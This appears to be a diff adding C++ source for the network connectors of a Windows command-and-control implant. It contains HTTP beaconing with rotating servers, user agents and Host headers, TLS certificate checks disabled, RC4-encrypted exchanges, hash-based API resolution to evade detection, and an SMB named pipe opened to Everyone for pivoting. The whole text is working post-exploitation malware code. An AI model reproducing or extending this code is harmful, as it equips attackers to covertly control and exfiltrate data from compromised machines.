this->hConnect = this->functions->InternetConnectA(this->hInternet, this->server_address[this->server_index], this->server_ports[this->server_index], NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context);
|
||||
|
||||
if (this->hConnect)
|
||||
{
|
||||
CHAR acceptTypes[] = { '*', '/', '*', 0 };
|
||||
LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 };
|
||||
DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_NO_COOKIES;
|
||||
if (this->ssl)
|
||||
flags |= INTERNET_FLAG_SECURE;
|
||||
|
||||
CHAR* currentUri = this->uris[this->uri_index];
|
||||
HINTERNET hRequest = this->functions->HttpOpenRequestA(this->hConnect, this->http_method, currentUri, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context);
|
||||
if (hRequest) {
|
||||
if (this->ssl) {
|
||||
DWORD dwFlags = 0;
|
||||
DWORD dwBuffer = sizeof(DWORD);
|
||||
result = this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer);
|
||||
if (!result) {
|
||||
dwFlags = 0;
|
||||
}
|
||||
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_WRONG_USAGE;
|
||||
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
|
||||
}
|
||||
|
||||
if (this->proxy_type != PROXY_TYPE_NONE && this->proxy_username != NULL) {
|
||||
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_USERNAME, this->proxy_username, StrLenA(this->proxy_username));
|
||||
if (this->proxy_password != NULL) {
|
||||
this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_PASSWORD, this->proxy_password, StrLenA(this->proxy_password));
|
||||
}
|
||||
}
|
||||
|
||||
// Build request headers with optional Host header
|
||||
CHAR* reqHeaders = this->headers;
|
||||
CHAR* tmpHeaders = NULL;
|
||||
if (this->hh_count > 0) {
|
||||
CHAR* currentHH = this->host_headers[this->hh_index];
|
||||
ULONG hhLen = StrLenA(currentHH);
|
||||
ULONG baseLen = StrLenA(this->headers);
|
||||
WORD currentPort = this->server_ports[this->server_index];
|
||||
|
||||
BOOL hasPort = FALSE;
|
||||
for (ULONG i = 0; i < hhLen; i++) {
|
||||
if (currentHH[i] == ':') {
|
||||
hasPort = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL needPort = FALSE;
|
||||
CHAR portStr[6] = {0};
|
||||
ULONG portLen = 0;
|
||||
if (!hasPort) {
|
||||
if ((this->ssl && currentPort != 443) || (!this->ssl && currentPort != 80)) {
|
||||
needPort = TRUE;
|
||||
WORD port = currentPort;
|
||||
if (port == 0) {
|
||||
portStr[portLen++] = '0';
|
||||
} else {
|
||||
CHAR temp[6];
|
||||
int tempIdx = 0;
|
||||
while (port > 0) {
|
||||
temp[tempIdx++] = '0' + (port % 10);
|
||||
port /= 10;
|
||||
}
|
||||
for (int i = tempIdx - 1; i >= 0; i--) {
|
||||
portStr[portLen++] = temp[i];
|
||||
}
|
||||
}
|
||||
portStr[portLen] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
ULONG allocSize = 6 + hhLen + (needPort ? 1 + portLen : 0) + 2 + baseLen + 1;
|
||||
tmpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, allocSize);
|
||||
ULONG off = 0;
|
||||
tmpHeaders[off++] = 'H'; tmpHeaders[off++] = 'o'; tmpHeaders[off++] = 's';
|
||||
tmpHeaders[off++] = 't'; tmpHeaders[off++] = ':'; tmpHeaders[off++] = ' ';
|
||||
memcpy(tmpHeaders + off, currentHH, hhLen); off += hhLen;
|
||||
if (needPort) {
|
||||
tmpHeaders[off++] = ':';
|
||||
memcpy(tmpHeaders + off, portStr, portLen); off += portLen;
|
||||
}
|
||||
tmpHeaders[off++] = '\r'; tmpHeaders[off++] = '\n';
|
||||
memcpy(tmpHeaders + off, this->headers, baseLen); off += baseLen;
|
||||
tmpHeaders[off] = 0;
|
||||
reqHeaders = tmpHeaders;
|
||||
}
|
||||
|
||||
connected = this->functions->HttpSendRequestA(hRequest, reqHeaders, (DWORD)StrLenA(reqHeaders), (LPVOID)data, (DWORD)data_size);
|
||||
|
||||
if (tmpHeaders) {
|
||||
memset(tmpHeaders, 0, StrLenA(tmpHeaders));
|
||||
this->functions->LocalFree(tmpHeaders);
|
||||
}
|
||||
if (connected) {
|
||||
char statusCode[255];
|
||||
DWORD statusCodeLenght = 255;
|
||||
BOOL result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLenght, 0);
|
||||
|
||||
if (result && _atoi(statusCode) == 200) {
|
||||
DWORD answerSize = 0;
|
||||
DWORD dwLengthDataSize = sizeof(DWORD);
|
||||
result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &answerSize, &dwLengthDataSize, NULL);
|
||||
|
||||
if (result) {
|
||||
DWORD dwNumberOfBytesAvailable = 0;
|
||||
result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0);
|
||||
|
||||
if (result && answerSize > 0) {
|
||||
ULONG numberReadedBytes = 0;
|
||||
DWORD readedBytes = 0;
|
||||
BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, answerSize);
|
||||
|
||||
while (numberReadedBytes < answerSize) {
|
||||
result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes);
|
||||
if (!result || !readedBytes) {
|
||||
break;
|
||||
}
|
||||
numberReadedBytes += readedBytes;
|
||||
}
|
||||
this->recvSize = numberReadedBytes;
|
||||
this->recvData = buffer;
|
||||
}
|
||||
}
|
||||
else if (this->functions->GetLastError() == ERROR_HTTP_HEADER_NOT_FOUND) {
|
||||
ULONG numberReadedBytes = 0;
|
||||
DWORD readedBytes = 0;
|
||||
BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, 0);
|
||||
DWORD dwNumberOfBytesAvailable = 0;
|
||||
|
||||
while (1) {
|
||||
result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0);
|
||||
if (!result || !dwNumberOfBytesAvailable)
|
||||
break;
|
||||
|
||||
buffer = (BYTE*)this->functions->LocalReAlloc(buffer, dwNumberOfBytesAvailable + numberReadedBytes, LMEM_MOVEABLE);
|
||||
result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes);
|
||||
if (!result || !readedBytes) {
|
||||
break;
|
||||
}
|
||||
numberReadedBytes += readedBytes;
|
||||
}
|
||||
|
||||
if (numberReadedBytes) {
|
||||
this->recvSize = numberReadedBytes;
|
||||
this->recvData = buffer;
|
||||
}
|
||||
else {
|
||||
this->functions->LocalFree(buffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
dwError = this->functions->GetLastError();
|
||||
}
|
||||
this->functions->InternetCloseHandle(hRequest);
|
||||
}
|
||||
}
|
||||
|
||||
attempt++;
|
||||
if (!connected) {
|
||||
if (this->hConnect) {
|
||||
this->functions->InternetCloseHandle(this->hConnect);
|
||||
this->hConnect = NULL;
|
||||
}
|
||||
if (this->hInternet) {
|
||||
this->functions->InternetCloseHandle(this->hInternet);
|
||||
this->hInternet = NULL;
|
||||
}
|
||||
|
||||
this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
|
||||
this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_REFRESH, NULL, 0);
|
||||
|
||||
this->server_index = (this->server_index + 1) % this->server_count;
|
||||
}
|
||||
|
||||
// Rotate indices for next callback (active round-robin)
|
||||
if (this->rotation_mode == 1) {
|
||||
this->uri_index = GenerateRandom32() % this->uri_count;
|
||||
this->ua_index = GenerateRandom32() % this->ua_count;
|
||||
this->server_index = GenerateRandom32() % this->server_count;
|
||||
if (this->hh_count > 0)
|
||||
this->hh_index = GenerateRandom32() % this->hh_count;
|
||||
}
|
||||
else {
|
||||
this->uri_index = (this->uri_index + 1) % this->uri_count;
|
||||
this->ua_index = (this->ua_index + 1) % this->ua_count;
|
||||
this->server_index = (this->server_index + 1) % this->server_count;
|
||||
if (this->hh_count > 0)
|
||||
this->hh_index = (this->hh_index + 1) % this->hh_count;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BYTE* ConnectorHTTP::RecvData()
|
||||
{
|
||||
if (this->recvData)
|
||||
return this->recvData + this->ans_pre_size;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int ConnectorHTTP::RecvSize()
|
||||
{
|
||||
if (this->recvSize < this->ans_size)
|
||||
return 0;
|
||||
|
||||
return this->recvSize - this->ans_size;
|
||||
}
|
||||
|
||||
void ConnectorHTTP::RecvClear()
|
||||
{
|
||||
if (this->recvData && this->recvSize) {
|
||||
memset(this->recvData, 0, this->recvSize);
|
||||
this->functions->LocalFree(this->recvData);
|
||||
this->recvData = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
|
||||
{
|
||||
if (plainData && plainSize > 0) {
|
||||
EncryptRC4(plainData, plainSize, sessionKey, 16);
|
||||
this->SendData(plainData, plainSize);
|
||||
}
|
||||
else {
|
||||
this->SendData(NULL, 0);
|
||||
}
|
||||
|
||||
if (this->recvSize > 0 && this->recvData) {
|
||||
int dataSize = this->RecvSize();
|
||||
BYTE* dataPtr = this->RecvData();
|
||||
if (dataSize > 0 && dataPtr)
|
||||
DecryptRC4(dataPtr, dataSize, sessionKey, 16);
|
||||
}
|
||||
}
|
||||
|
||||
void ConnectorHTTP::CloseConnector()
|
||||
{
|
||||
DWORD l = StrLenA(this->headers);
|
||||
memset(this->headers, 0, l);
|
||||
this->functions->LocalFree(this->headers);
|
||||
this->headers = NULL;
|
||||
|
||||
this->functions->InternetCloseHandle(this->hInternet);
|
||||
this->functions->InternetCloseHandle(this->hConnect);
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "Connector.h"
|
||||
|
||||
#ifndef PROFILE_STRUCT
|
||||
#define PROFILE_STRUCT
|
||||
|
||||
#define PROXY_TYPE_NONE 0
|
||||
#define PROXY_TYPE_HTTP 1
|
||||
#define PROXY_TYPE_HTTPS 2
|
||||
|
||||
typedef struct {
|
||||
ULONG servers_count;
|
||||
BYTE** servers;
|
||||
WORD* ports;
|
||||
BOOL use_ssl;
|
||||
BYTE* http_method;
|
||||
ULONG uri_count;
|
||||
BYTE** uris;
|
||||
BYTE* parameter;
|
||||
ULONG ua_count;
|
||||
BYTE** user_agents;
|
||||
BYTE* http_headers;
|
||||
ULONG ans_pre_size;
|
||||
ULONG ans_size;
|
||||
ULONG hh_count;
|
||||
BYTE** host_headers;
|
||||
BYTE rotation_mode; // 0=sequential, 1=random
|
||||
BYTE proxy_type; // 0=none, 1=http, 2=https
|
||||
BYTE* proxy_host;
|
||||
WORD proxy_port;
|
||||
BYTE* proxy_username;
|
||||
BYTE* proxy_password;
|
||||
} ProfileHTTP;
|
||||
|
||||
typedef struct {
|
||||
BYTE* pipename;
|
||||
} ProfileSMB;
|
||||
|
||||
typedef struct {
|
||||
BYTE* prepend;
|
||||
WORD port;
|
||||
} ProfileTCP;
|
||||
#endif
|
||||
|
||||
#define DECL_API(x) decltype(x) * x
|
||||
|
||||
struct HTTPFUNC {
|
||||
DECL_API(LocalAlloc);
|
||||
DECL_API(LocalReAlloc);
|
||||
DECL_API(LocalFree);
|
||||
DECL_API(LoadLibraryA);
|
||||
DECL_API(GetProcAddress);
|
||||
DECL_API(GetLastError);
|
||||
|
||||
DECL_API(InternetOpenA);
|
||||
DECL_API(InternetConnectA);
|
||||
DECL_API(HttpOpenRequestA);
|
||||
DECL_API(HttpSendRequestA);
|
||||
DECL_API(InternetSetOptionA);
|
||||
DECL_API(InternetQueryOptionA);
|
||||
DECL_API(HttpQueryInfoA);
|
||||
DECL_API(InternetQueryDataAvailable);
|
||||
DECL_API(InternetCloseHandle);
|
||||
DECL_API(InternetReadFile);
|
||||
};
|
||||
|
||||
class ConnectorHTTP : public Connector
|
||||
{
|
||||
ULONG ua_count = 0;
|
||||
CHAR** user_agents = NULL;
|
||||
ULONG ua_index = 0;
|
||||
ULONG hh_count = 0;
|
||||
CHAR** host_headers = NULL;
|
||||
ULONG hh_index = 0;
|
||||
BOOL ssl = FALSE;
|
||||
CHAR* http_method = NULL;
|
||||
ULONG server_count = 0;
|
||||
CHAR** server_address = NULL;
|
||||
WORD* server_ports = 0;
|
||||
ULONG uri_count = 0;
|
||||
CHAR** uris = NULL;
|
||||
ULONG uri_index = 0;
|
||||
CHAR* headers = NULL;
|
||||
ULONG ans_size = 0;
|
||||
ULONG ans_pre_size = 0;
|
||||
BYTE rotation_mode = 0;
|
||||
|
||||
BYTE* recvData = NULL;
|
||||
int recvSize = 0;
|
||||
|
||||
BYTE proxy_type = PROXY_TYPE_NONE;
|
||||
CHAR* proxy_url = NULL;
|
||||
CHAR* proxy_username = NULL;
|
||||
CHAR* proxy_password = NULL;
|
||||
|
||||
HTTPFUNC* functions = NULL;
|
||||
|
||||
HINTERNET hInternet = NULL;
|
||||
HINTERNET hConnect = NULL;
|
||||
|
||||
ULONG server_index = 0;
|
||||
|
||||
public:
|
||||
ConnectorHTTP();
|
||||
|
||||
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
|
||||
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
|
||||
void CloseConnector() override;
|
||||
|
||||
BYTE* RecvData() override;
|
||||
int RecvSize() override;
|
||||
void RecvClear() override;
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
|
||||
private:
|
||||
void SendData(BYTE* data, ULONG data_size);
|
||||
};
|
||||
@@ -0,0 +1,240 @@
|
||||
#include "ConnectorSMB.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "ApiDefines.h"
|
||||
#include "ProcLoader.h"
|
||||
#include "Crypt.h"
|
||||
#include "utils.h"
|
||||
|
||||
void* ConnectorSMB::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void ConnectorSMB::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(ConnectorSMB));
|
||||
}
|
||||
|
||||
ConnectorSMB::ConnectorSMB()
|
||||
{
|
||||
this->functions = (SMBFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(SMBFUNC));
|
||||
|
||||
this->functions->LocalAlloc = ApiWin->LocalAlloc;
|
||||
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
|
||||
this->functions->LocalFree = ApiWin->LocalFree;
|
||||
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
|
||||
this->functions->GetLastError = ApiWin->GetLastError;
|
||||
this->functions->ReadFile = ApiWin->ReadFile;
|
||||
this->functions->WriteFile = ApiWin->WriteFile;
|
||||
|
||||
this->functions->NtClose = ApiNt->NtClose;
|
||||
|
||||
this->functions->CreateNamedPipeA = ApiWin->CreateNamedPipeA;
|
||||
this->functions->DisconnectNamedPipe = ApiWin->DisconnectNamedPipe;
|
||||
this->functions->PeekNamedPipe = ApiWin->PeekNamedPipe;
|
||||
this->functions->ConnectNamedPipe = (decltype(ConnectNamedPipe)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_CONNECTNAMEDPIPE);
|
||||
this->functions->FlushFileBuffers = (decltype(FlushFileBuffers)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_FLUSHFILEBUFFERS);
|
||||
|
||||
this->functions->AllocateAndInitializeSid = (decltype(AllocateAndInitializeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_ALLOCATEANDINITIALIZESID);
|
||||
this->functions->InitializeSecurityDescriptor = (decltype(InitializeSecurityDescriptor)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_INITIALIZESECURITYDESCRIPTOR);
|
||||
this->functions->FreeSid = (decltype(FreeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_FREESID);
|
||||
this->functions->SetEntriesInAclA = (decltype(SetEntriesInAclA)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETENTRIESINACLA);
|
||||
this->functions->SetSecurityDescriptorDacl = (decltype(SetSecurityDescriptorDacl)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETSECURITYDESCRIPTORDACL);
|
||||
}
|
||||
|
||||
BOOL ConnectorSMB::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSize)
|
||||
{
|
||||
ProfileSMB profile = *(ProfileSMB*)profilePtr;
|
||||
|
||||
if (beatData && beatDataSize) {
|
||||
this->beat = (BYTE*)MemAllocLocal(beatDataSize);
|
||||
if (this->beat) {
|
||||
memcpy(this->beat, beatData, beatDataSize);
|
||||
this->beatSize = beatDataSize;
|
||||
}
|
||||
}
|
||||
PSID pEveryoneSID = nullptr;
|
||||
SID_IDENTIFIER_AUTHORITY pIdentifierAuthority;
|
||||
*(DWORD*)pIdentifierAuthority.Value = 0;
|
||||
*(WORD*)&pIdentifierAuthority.Value[4] = 256;
|
||||
if (!this->functions->AllocateAndInitializeSid(&pIdentifierAuthority, 1, 0, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
|
||||
return FALSE;
|
||||
|
||||
PACL pACL = nullptr;
|
||||
EXPLICIT_ACCESS pListOfExplicitEntries = { 0 };
|
||||
pListOfExplicitEntries.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE; // STANDARD_RIGHTS_ALL | SPECIFIC_RIGHTS_ALL; //
|
||||
pListOfExplicitEntries.grfAccessMode = SET_ACCESS;
|
||||
pListOfExplicitEntries.Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
||||
pListOfExplicitEntries.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
|
||||
pListOfExplicitEntries.Trustee.ptstrName = (LPTSTR)pEveryoneSID;
|
||||
|
||||
if (this->functions->SetEntriesInAclA(1, &pListOfExplicitEntries, nullptr, &pACL) != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
|
||||
PSECURITY_DESCRIPTOR pSD = this->functions->LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
|
||||
if (!pSD || !this->functions->InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION) || !this->functions->SetSecurityDescriptorDacl(pSD, TRUE, pACL, FALSE))
|
||||
return FALSE;
|
||||
|
||||
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), pSD, FALSE };
|
||||
this->hChannel = this->functions->CreateNamedPipeA((CHAR*) profile.pipename, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 0x100000, 0x100000, 0, &sa);
|
||||
if (this->hChannel == INVALID_HANDLE_VALUE)
|
||||
return FALSE;
|
||||
|
||||
this->functions->FreeSid(pEveryoneSID);
|
||||
this->functions->LocalFree(pACL);
|
||||
this->functions->LocalFree(pSD);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ConnectorSMB::SendData(BYTE* data, ULONG data_size)
|
||||
{
|
||||
this->recvSize = 0;
|
||||
|
||||
if (data && data_size) {
|
||||
DWORD NumberOfBytesWritten = 0;
|
||||
if ( this->functions->WriteFile(this->hChannel, (LPVOID)&data_size, 4, &NumberOfBytesWritten, NULL) ) {
|
||||
|
||||
DWORD index = 0;
|
||||
DWORD size = 0;
|
||||
NumberOfBytesWritten = 0;
|
||||
while (1) {
|
||||
size = data_size - index;
|
||||
if (data_size - index > 0x2000)
|
||||
size = 0x2000;
|
||||
|
||||
if ( !this->functions->WriteFile(this->hChannel, data + index, size, &NumberOfBytesWritten, 0) )
|
||||
break;
|
||||
|
||||
index += NumberOfBytesWritten;
|
||||
if (index >= data_size)
|
||||
break;
|
||||
}
|
||||
}
|
||||
this->functions->FlushFileBuffers(this->hChannel);
|
||||
}
|
||||
|
||||
DWORD totalBytesAvail = 0;
|
||||
BOOL result = this->functions->PeekNamedPipe(this->hChannel, 0, 0, 0, &totalBytesAvail, 0);
|
||||
if (result && totalBytesAvail >= 4) {
|
||||
|
||||
DWORD NumberOfBytesRead = 0;
|
||||
DWORD dataLength = 0;
|
||||
if ( this->functions->ReadFile(this->hChannel, &dataLength, 4, &NumberOfBytesRead, 0) ) {
|
||||
|
||||
if (dataLength > this->allocaSize) {
|
||||
this->recvData = (BYTE*) this->functions->LocalReAlloc(this->recvData, dataLength, 0);
|
||||
this->allocaSize = dataLength;
|
||||
}
|
||||
|
||||
NumberOfBytesRead = 0;
|
||||
int index = 0;
|
||||
while( this->functions->ReadFile(this->hChannel, this->recvData + index, dataLength - index, &NumberOfBytesRead, 0) && NumberOfBytesRead) {
|
||||
index += NumberOfBytesRead;
|
||||
|
||||
if (index > dataLength) {
|
||||
this->recvSize = -1;
|
||||
return;
|
||||
}
|
||||
|
||||
if (index == dataLength)
|
||||
break;
|
||||
}
|
||||
this->recvSize = index;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BYTE* ConnectorSMB::RecvData()
|
||||
{
|
||||
return this->recvData;
|
||||
}
|
||||
|
||||
int ConnectorSMB::RecvSize()
|
||||
{
|
||||
return this->recvSize;
|
||||
}
|
||||
|
||||
void ConnectorSMB::RecvClear()
|
||||
{
|
||||
if ( this->recvData && this->allocaSize )
|
||||
memset(this->recvData, 0, this->recvSize);
|
||||
this->recvSize = 0;
|
||||
}
|
||||
|
||||
void ConnectorSMB::Listen()
|
||||
{
|
||||
while ( !this->functions->ConnectNamedPipe(this->hChannel, nullptr) && this->functions->GetLastError() != ERROR_PIPE_CONNECTED);
|
||||
|
||||
this->recvData = (BYTE*) this->functions->LocalAlloc(LPTR, 0x100000);
|
||||
this->allocaSize = 0x100000;
|
||||
}
|
||||
|
||||
BOOL ConnectorSMB::WaitForConnection()
|
||||
{
|
||||
this->Listen();
|
||||
this->SendData(this->beat, this->beatSize);
|
||||
this->connected = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL ConnectorSMB::IsConnected()
|
||||
{
|
||||
return this->connected;
|
||||
}
|
||||
|
||||
void ConnectorSMB::Disconnect()
|
||||
{
|
||||
this->DisconnectInternal();
|
||||
this->connected = FALSE;
|
||||
}
|
||||
|
||||
void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
|
||||
{
|
||||
if (plainData && plainSize > 0) {
|
||||
EncryptRC4(plainData, plainSize, sessionKey, 16);
|
||||
this->SendData(plainData, plainSize);
|
||||
} else {
|
||||
this->SendData(NULL, 0);
|
||||
}
|
||||
|
||||
if (this->recvSize == 0 && TEB->LastErrorValue == ERROR_BROKEN_PIPE) {
|
||||
TEB->LastErrorValue = 0;
|
||||
this->connected = FALSE;
|
||||
return;
|
||||
}
|
||||
|
||||
if (this->recvSize < 0) {
|
||||
this->connected = FALSE;
|
||||
return;
|
||||
}
|
||||
|
||||
if (this->recvSize > 0 && this->recvData)
|
||||
DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
|
||||
}
|
||||
|
||||
void ConnectorSMB::DisconnectInternal()
|
||||
{
|
||||
if (this->allocaSize) {
|
||||
memset(this->recvData, 0, this->allocaSize);
|
||||
this->functions->LocalFree(this->recvData);
|
||||
this->recvData = nullptr;
|
||||
}
|
||||
|
||||
this->allocaSize = 0;
|
||||
this->recvData = nullptr;
|
||||
|
||||
this->functions->FlushFileBuffers(this->hChannel);
|
||||
this->functions->DisconnectNamedPipe(this->hChannel);
|
||||
}
|
||||
|
||||
void ConnectorSMB::CloseConnector()
|
||||
{
|
||||
if (this->beat && this->beatSize) {
|
||||
MemFreeLocal((LPVOID*)&this->beat, this->beatSize);
|
||||
this->beat = nullptr;
|
||||
this->beatSize = 0;
|
||||
}
|
||||
this->functions->NtClose(this->hChannel);
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "Connector.h"
|
||||
#include <aclapi.h>
|
||||
|
||||
#define _NO_NTDLL_CRT_
|
||||
#include "ntdll.h"
|
||||
|
||||
#ifndef PROFILE_STRUCT
|
||||
#define PROFILE_STRUCT
|
||||
typedef struct {
|
||||
ULONG servers_count;
|
||||
BYTE** servers;
|
||||
WORD* ports;
|
||||
BOOL use_ssl;
|
||||
BYTE* http_method;
|
||||
BYTE* uri;
|
||||
BYTE* parameter;
|
||||
BYTE* user_agent;
|
||||
BYTE* http_headers;
|
||||
ULONG ans_pre_size;
|
||||
ULONG ans_size;
|
||||
} ProfileHTTP;
|
||||
|
||||
typedef struct {
|
||||
BYTE* pipename;
|
||||
} ProfileSMB;
|
||||
|
||||
typedef struct {
|
||||
BYTE* prepend;
|
||||
WORD port;
|
||||
} ProfileTCP;
|
||||
#endif
|
||||
|
||||
#define DECL_API(x) decltype(x) * x
|
||||
|
||||
struct SMBFUNC {
|
||||
DECL_API(LocalAlloc);
|
||||
DECL_API(LocalReAlloc);
|
||||
DECL_API(LocalFree);
|
||||
DECL_API(LoadLibraryA);
|
||||
DECL_API(GetProcAddress);
|
||||
DECL_API(GetLastError);
|
||||
DECL_API(ReadFile);
|
||||
DECL_API(WriteFile);
|
||||
|
||||
DECL_API(NtClose);
|
||||
|
||||
//kernel32
|
||||
DECL_API(ConnectNamedPipe);
|
||||
DECL_API(DisconnectNamedPipe);
|
||||
DECL_API(CreateNamedPipeA);
|
||||
DECL_API(FlushFileBuffers);
|
||||
DECL_API(PeekNamedPipe);
|
||||
|
||||
//advapi32
|
||||
DECL_API(AllocateAndInitializeSid);
|
||||
DECL_API(InitializeSecurityDescriptor);
|
||||
DECL_API(FreeSid);
|
||||
DECL_API(SetEntriesInAclA);
|
||||
DECL_API(SetSecurityDescriptorDacl);
|
||||
};
|
||||
|
||||
class ConnectorSMB : public Connector
|
||||
{
|
||||
CHAR* pipename = nullptr;
|
||||
|
||||
BYTE* recvData = nullptr;
|
||||
int recvSize = 0;
|
||||
ULONG allocaSize = 0;
|
||||
|
||||
SMBFUNC* functions = nullptr;
|
||||
|
||||
HANDLE hChannel = nullptr;
|
||||
|
||||
BYTE* beat = nullptr;
|
||||
ULONG beatSize = 0;
|
||||
BOOL connected = FALSE;
|
||||
|
||||
public:
|
||||
ConnectorSMB();
|
||||
|
||||
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
|
||||
BOOL WaitForConnection() override;
|
||||
BOOL IsConnected() override;
|
||||
void Disconnect() override;
|
||||
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
|
||||
void CloseConnector() override;
|
||||
|
||||
BYTE* RecvData() override;
|
||||
int RecvSize() override;
|
||||
void RecvClear() override;
|
||||
|
||||
void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput) override {}
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
|
||||
private:
|
||||
void SendData(BYTE* data, ULONG data_size);
|
||||
void Listen();
|
||||
void DisconnectInternal();
|
||||
};
|
||||
@@ -0,0 +1,317 @@
|
||||
#include "ConnectorTCP.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "ApiDefines.h"
|
||||
#include "ProcLoader.h"
|
||||
#include "Crypt.h"
|
||||
#include "utils.h"
|
||||
|
||||
void* ConnectorTCP::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void ConnectorTCP::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(ConnectorTCP));
|
||||
}
|
||||
|
||||
ConnectorTCP::ConnectorTCP()
|
||||
{
|
||||
this->functions = (TCPFUNC*)ApiWin->LocalAlloc(LPTR, sizeof(TCPFUNC));
|
||||
|
||||
this->functions->LocalAlloc = ApiWin->LocalAlloc;
|
||||
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
|
||||
this->functions->LocalFree = ApiWin->LocalFree;
|
||||
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
|
||||
this->functions->GetLastError = ApiWin->GetLastError;
|
||||
this->functions->GetTickCount = ApiWin->GetTickCount;
|
||||
|
||||
this->functions->WSAStartup = ApiWin->WSAStartup;
|
||||
this->functions->WSACleanup = ApiWin->WSACleanup;
|
||||
this->functions->socket = ApiWin->socket;
|
||||
this->functions->ioctlsocket = ApiWin->ioctlsocket;
|
||||
this->functions->WSAGetLastError = ApiWin->WSAGetLastError;
|
||||
this->functions->closesocket = ApiWin->closesocket;
|
||||
this->functions->listen = ApiWin->listen;
|
||||
this->functions->bind = ApiWin->bind;
|
||||
this->functions->select = ApiWin->select;
|
||||
this->functions->accept = ApiWin->accept;
|
||||
this->functions->__WSAFDIsSet = ApiWin->__WSAFDIsSet;
|
||||
this->functions->send = ApiWin->send;
|
||||
